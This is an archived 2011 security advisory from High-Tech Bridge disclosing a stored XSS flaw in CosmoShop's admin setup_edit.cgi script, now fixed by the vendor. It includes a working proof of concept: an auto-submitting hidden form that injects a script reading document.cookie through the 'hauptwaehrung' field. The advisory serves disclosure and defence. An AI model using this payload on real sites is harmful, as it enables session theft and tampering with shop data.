[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22878: XSS vulnerability in CosmoShop



Vulnerability ID: HTB22878
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cosmoshop.html
Product: CosmoShop
Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ ) 
Vulnerable Version: ePRO V10.05.00
Vendor Notification: 24 February 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "cgi-bin/admin/setup_edit.cgi" 
script to properly sanitize user-supplied input in "hauptwaehrung" variable. 
Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/cgi-bin/admin/setup_edit.cgi"; method="post" 
name="main">

<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="hId" value="setup.einstellungen.allgemein">
<input type="hidden" name="setup_key" value="allgemein">
<input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x">
<input type="hidden" name="shopbetreiber" value="email@xxxxxxxxxxx">
<input type="hidden" name="shop_bestellempfaenger" value="email@xxxxxxxxxxx">
<input type="hidden" name="anfrage_mail" value="email@xxxxxxxxxxx">
<input type="hidden" name="shop_umstid" value="DE12345678">
<input type="hidden" name="shop_eg" value="1">
<input type="hidden" name="auftragszaehler" value="1">
<input type="hidden" name="hauptwaehrung" 
value='EUR"><script>alert(document.cookie)</script>'>
<input type="hidden" name="nebenwaehrung" value="$">
<input type="hidden" name="eurofaktor" value="0.7">
<input type="hidden" name="mindestpreisdm" value="10">
<input type="hidden" name="emis_bestellempfaenger" value="">
<input type="hidden" name="afs_bestellempfaenger" value="">
<input type="hidden" name="ean_in_ausf" value="1">
<input type="hidden" name="google_verify_code" value="">
<input type="hidden" name="save_it" value="abspeichern">

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version